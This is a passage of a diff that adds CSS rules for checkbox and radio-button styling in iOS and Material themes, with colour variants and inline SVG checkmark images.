+.md .color-theme-green .checkbox input[type="checkbox"]:checked ~ i { + background-color: #4caf50; + border-color: #4caf50; +} +.md .color-theme-green .checkbox .ripple-wave { + background: rgba(76, 175, 80, 0.5); +} +.md .color-theme-blue label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-blue label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-blue .checkbox input[type="checkbox"]:checked ~ i { + background-color: #2196f3; + border-color: #2196f3; +} +.md .color-theme-blue .checkbox .ripple-wave { + background: rgba(33, 150, 243, 0.5); +} +.md .color-theme-pink label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-pink label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-pink .checkbox input[type="checkbox"]:checked ~ i { + background-color: #e91e63; + border-color: #e91e63; +} +.md .color-theme-pink .checkbox .ripple-wave { + background: rgba(233, 30, 99, 0.5); +} +.md .color-theme-yellow label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-yellow label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-yellow .checkbox input[type="checkbox"]:checked ~ i { + background-color: #ffeb3b; + border-color: #ffeb3b; +} +.md .color-theme-yellow .checkbox .ripple-wave { + background: rgba(255, 235, 59, 0.5); +} +.md .color-theme-orange label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-orange label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-orange .checkbox input[type="checkbox"]:checked ~ i { + background-color: #ff9800; + border-color: #ff9800; +} +.md .color-theme-orange .checkbox .ripple-wave { + background: rgba(255, 152, 0, 0.5); +} +.md .color-theme-gray label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-gray label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-gray .checkbox input[type="checkbox"]:checked ~ i { + background-color: #9e9e9e; + border-color: #9e9e9e; +} +.md .color-theme-gray .checkbox .ripple-wave { + background: rgba(158, 158, 158, 0.5); +} +.md .color-theme-white label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-white label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-white .checkbox input[type="checkbox"]:checked ~ i { + background-color: #ffffff; + border-color: #ffffff; +} +.md .color-theme-white .checkbox .ripple-wave { + background: rgba(255, 255, 255, 0.5); +} +.md .color-theme-black label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-black label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-black .checkbox input[type="checkbox"]:checked ~ i { + background-color: #000000; + border-color: #000000; +} +.md .color-theme-black .checkbox .ripple-wave { + background: rgba(0, 0, 0, 0.5); +} +.md label.item-checkbox.color-red input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-red input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-red input[type="checkbox"]:checked ~ i { + background-color: #f44336; + border-color: #f44336; +} +.md .checkbox.color-red .ripple-wave { + background: rgba(244, 67, 54, 0.5); +} +.md label.item-checkbox.color-green input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-green input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-green input[type="checkbox"]:checked ~ i { + background-color: #4caf50; + border-color: #4caf50; +} +.md .checkbox.color-green .ripple-wave { + background: rgba(76, 175, 80, 0.5); +} +.md label.item-checkbox.color-blue input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-blue input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-blue input[type="checkbox"]:checked ~ i { + background-color: #2196f3; + border-color: #2196f3; +} +.md .checkbox.color-blue .ripple-wave { + background: rgba(33, 150, 243, 0.5); +} +.md label.item-checkbox.color-pink input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-pink input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-pink input[type="checkbox"]:checked ~ i { + background-color: #e91e63; + border-color: #e91e63; +} +.md .checkbox.color-pink .ripple-wave { + background: rgba(233, 30, 99, 0.5); +} +.md label.item-checkbox.color-yellow input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-yellow input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-yellow input[type="checkbox"]:checked ~ i { + background-color: #ffeb3b; + border-color: #ffeb3b; +} +.md .checkbox.color-yellow .ripple-wave { + background: rgba(255, 235, 59, 0.5); +} +.md label.item-checkbox.color-orange input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-orange input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-orange input[type="checkbox"]:checked ~ i { + background-color: #ff9800; + border-color: #ff9800; +} +.md .checkbox.color-orange .ripple-wave { + background: rgba(255, 152, 0, 0.5); +} +.md label.item-checkbox.color-gray input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-gray input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-gray input[type="checkbox"]:checked ~ i { + background-color: #9e9e9e; + border-color: #9e9e9e; +} +.md .checkbox.color-gray .ripple-wave { + background: rgba(158, 158, 158, 0.5); +} +.md label.item-checkbox.color-white input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-white input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-white input[type="checkbox"]:checked ~ i { + background-color: #ffffff; + border-color: #ffffff; +} +.md .checkbox.color-white .ripple-wave { + background: rgba(255, 255, 255, 0.5); +} +.md label.item-checkbox.color-black input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-black input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-black input[type="checkbox"]:checked ~ i { + background-color: #000000; + border-color: #000000; +} +.md .checkbox.color-black .ripple-wave { + background: rgba(0, 0, 0, 0.5); +} +/* === Radio === */ +.icon-radio { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.radio { + position: relative; + display: inline-block; + vertical-align: middle; + z-index: 1; +} +label.item-radio, +.radio { + cursor: pointer; +} +label.item-radio input[type="checkbox"], +.radio input[type="checkbox"], +label.item-radio input[type="radio"], +.radio input[type="radio"] { + display: none; +} +label.item-radio .icon-radio, +.radio .icon-radio { + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + display: block; +} +label.item-radio .icon-radio:after, +.radio .icon-radio:after { + content: ''; + position: absolute; +} +label.item-radio { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +label.item-radio.active-state:after { + background-color: transparent; +} +label.item-radio.disabled, +.disabled label.item-radio { + opacity: 0.55; + pointer-events: none; + opacity: 0.55 !important; + pointer-events: none !important; +} +.ios .icon-radio { + width: 22px; + height: 22px; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: block; +} +.ios .radio .icon-radio { + border-radius: 50%; + border: 1px solid #c7c7cc; +} +.ios label.item-radio input[type="radio"] ~ .icon-radio { + position: absolute; + top: 50%; + margin-top: -11px; + left: 10px; +} +.ios label.item-radio .item-inner { + padding-left: 35px; +} +.ios label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .radio input[type="radio"]:checked ~ .icon-radio { + background: no-repeat center; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23007aff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); + background-size: 13px 10px; +} +.ios .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #007aff; +} +.ios label.item-radio .item-content .item-media, +.ios label.item-radio.item-content .item-media { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; +} +.ios label.item-radio.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + background-color: #d9d9d9; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge label.item-radio input[type="radio"] ~ .icon-radio, + .ios.device-iphone-x .ios-edges label.item-radio input[type="radio"] ~ .icon-radio, + .ios.device-iphone-x .popup label.item-radio input[type="radio"] ~ .icon-radio, + .ios.device-iphone-x .sheet-modal label.item-radio input[type="radio"] ~ .icon-radio, + .ios.device-iphone-x .panel-left label.item-radio input[type="radio"] ~ .icon-radio { + left: calc(10px + constant(safe-area-inset-left)); + left: calc(10px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge label.item-radio .list:not(.inset):not(.tablet-inset) .item-inner, + .ios.device-iphone-x .ios-edges label.item-radio .list:not(.inset):not(.tablet-inset) .item-inner, + .ios.device-iphone-x .popup label.item-radio .list:not(.inset):not(.tablet-inset) .item-inner, + .ios.device-iphone-x .sheet-modal label.item-radio .list:not(.inset):not(.tablet-inset) .item-inner, + .ios.device-iphone-x .panel-left label.item-radio .list:not(.inset):not(.tablet-inset) .item-inner { + padding-left: calc(35px + constant(safe-area-inset-left)); + padding-left: calc(35px + env(safe-area-inset-left)); + } +} +.ios .theme-dark label.item-radio.active-state { + background-color: #363636; +} +.ios .color-theme-red label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-red label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-red .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff3b30'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-red .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ff3b30; +} +.ios .color-theme-green label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-green label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-green .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%234cd964'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-green .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #4cd964; +} +.ios .color-theme-blue label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-blue label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-blue .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23007aff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-blue .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #007aff; +} +.ios .color-theme-pink label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-pink label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-pink .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff2d55'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-pink .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ff2d55; +} +.ios .color-theme-yellow label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-yellow label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-yellow .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffcc00'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-yellow .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ffcc00; +} +.ios .color-theme-orange label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-orange label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-orange .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff9500'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-orange .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ff9500; +} +.ios .color-theme-gray label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-gray label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-gray .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%238e8e93'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-gray .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #8e8e93; +} +.ios .color-theme-white label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-white label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-white .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffffff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-white .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ffffff; +} +.ios .color-theme-black label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-black label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-black .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23000000'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-black .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #000000; +} +.ios label.item-radio.color-red input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-red input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-red input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff3b30'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-red input[type="radio"]:checked ~ .icon-radio { + border-color: #ff3b30; +} +.ios label.item-radio.color-green input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-green input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-green input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%234cd964'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-green input[type="radio"]:checked ~ .icon-radio { + border-color: #4cd964; +} +.ios label.item-radio.color-blue input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-blue input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-blue input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23007aff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-blue input[type="radio"]:checked ~ .icon-radio { + border-color: #007aff; +} +.ios label.item-radio.color-pink input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-pink input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-pink input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff2d55'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-pink input[type="radio"]:checked ~ .icon-radio { + border-color: #ff2d55; +} +.ios label.item-radio.color-yellow input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-yellow input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-yellow input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffcc00'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-yellow input[type="radio"]:checked ~ .icon-radio { + border-color: #ffcc00; +} +.ios label.item-radio.color-orange input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-orange input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-orange input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff9500'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-orange input[type="radio"]:checked ~ .icon-radio { + border-color: #ff9500; +} +.ios label.item-radio.color-gray input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-gray input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-gray input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%238e8e93'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-gray input[type="radio"]:checked ~ .icon-radio { + border-color: #8e8e93; +} +.ios label.item-radio.color-white input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-white input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-white input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffffff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-white input[type="radio"]:checked ~ .icon-radio { + border-color: #ffffff; +} +.ios label.item-radio.color-black input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-black input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-black input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23000000'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-black input[type="radio"]:checked ~ .icon-radio { + border-color: #000000; +} +.md .icon-radio { + width: 20px; + height: 20px; + position: relative; + border-radius: 50%; + border: 2px solid #6d6d6d; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + display: block; +} +.md .icon-radio:after { + content: ''; + position: absolute; + width: 10px; + height: 10px; + left: 50%; + top: 50%; + margin-left: -5px; + margin-top: -5px; + background-color: #2196f3; + border-radius: 50%; + -webkit-transform: scale(0); + transform: scale(0); + -webkit-transition-duration: 200ms; + transition-duration: 200ms; +} +.md label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #2196f3; +} +.md label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #2196f3; + -webkit-transform: scale(1); + transform: scale(1); +} +.md label.item-radio { + position: relative; + overflow: hidden; + z-index: 0; +} +.md label.item-radio > .icon-radio { + margin-left: 38px; +} +.md label.item-radio .item-content .item-media, +.md label.item-radio.item-content .item-media { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; +} +.md label.item-radio.active-state { + background-color: rgba(0, 0, 0, 0.1); +} +.md .theme-dark label.item-radio.active-state { + background-color: rgba(255, 255, 255, 0.05); +} +.md .theme-dark .icon-radio { + border-color: rgba(255, 255, 255, 0.54); +} +.md .color-theme-red .icon-radio:after { + background-color: #f44336; +} +.md .color-theme-red label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-red label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-red .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #f44336; +} +.md .color-theme-red label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-red label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-red .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #f44336; +} +.md .color-theme-red .radio .ripple-wave { + background: rgba(244, 67, 54, 0.5); +} +.md .color-theme-green .icon-radio:after { + background-color: #4caf50; +} +.md .color-theme-green label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-green label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-green .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #4caf50; +} +.md .color-theme-green label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-green label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-green .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #4caf50; +} +.md .color-theme-green .radio .ripple-wave { + background: rgba(76, 175, 80, 0.5); +} +.md .color-theme-blue .icon-radio:after { + background-color: #2196f3; +} +.md .color-theme-blue label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-blue label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-blue .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #2196f3; +} +.md .color-theme-blue label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-blue label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-blue .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #2196f3; +} +.md .color-theme-blue .radio .ripple-wave { + background: rgba(33, 150, 243, 0.5); +} +.md .color-theme-pink .icon-radio:after { + background-color: #e91e63; +} +.md .color-theme-pink label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-pink label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-pink .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #e91e63; +} +.md .color-theme-pink label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-pink label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-pink .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #e91e63; +} +.md .color-theme-pink .radio .ripple-wave { + background: rgba(233, 30, 99, 0.5); +} +.md .color-theme-yellow .icon-radio:after { + background-color: #ffeb3b; +} +.md .color-theme-yellow label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-yellow label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-yellow .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ffeb3b; +} +.md .color-theme-yellow label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-yellow label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-yellow .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #ffeb3b; +} +.md .color-theme-yellow .radio .ripple-wave { + background: rgba(255, 235, 59, 0.5); +} +.md .color-theme-orange .icon-radio:after { + background-color: #ff9800; +} +.md .color-theme-orange label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-orange label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-orange .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ff9800; +} +.md .color-theme-orange label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-orange label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-orange .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #ff9800; +} +.md .color-theme-orange .radio .ripple-wave { + background: rgba(255, 152, 0, 0.5); +} +.md .color-theme-gray .icon-radio:after { + background-color: #9e9e9e; +} +.md .color-theme-gray label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-gray label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-gray .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #9e9e9e; +} +.md .color-theme-gray label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-gray label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-gray .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #9e9e9e; +} +.md .color-theme-gray .radio .ripple-wave { + background: rgba(158, 158, 158, 0.5); +} +.md .color-theme-white .icon-radio:after { + background-color: #ffffff; +} +.md .color-theme-white label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-white label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-white .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ffffff; +} +.md .color-theme-white label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-white label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-white .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #ffffff; +} +.md .color-theme-white .radio .ripple-wave { + background: rgba(255, 255, 255, 0.5); +} +.md .color-theme-black .icon-radio:after { + 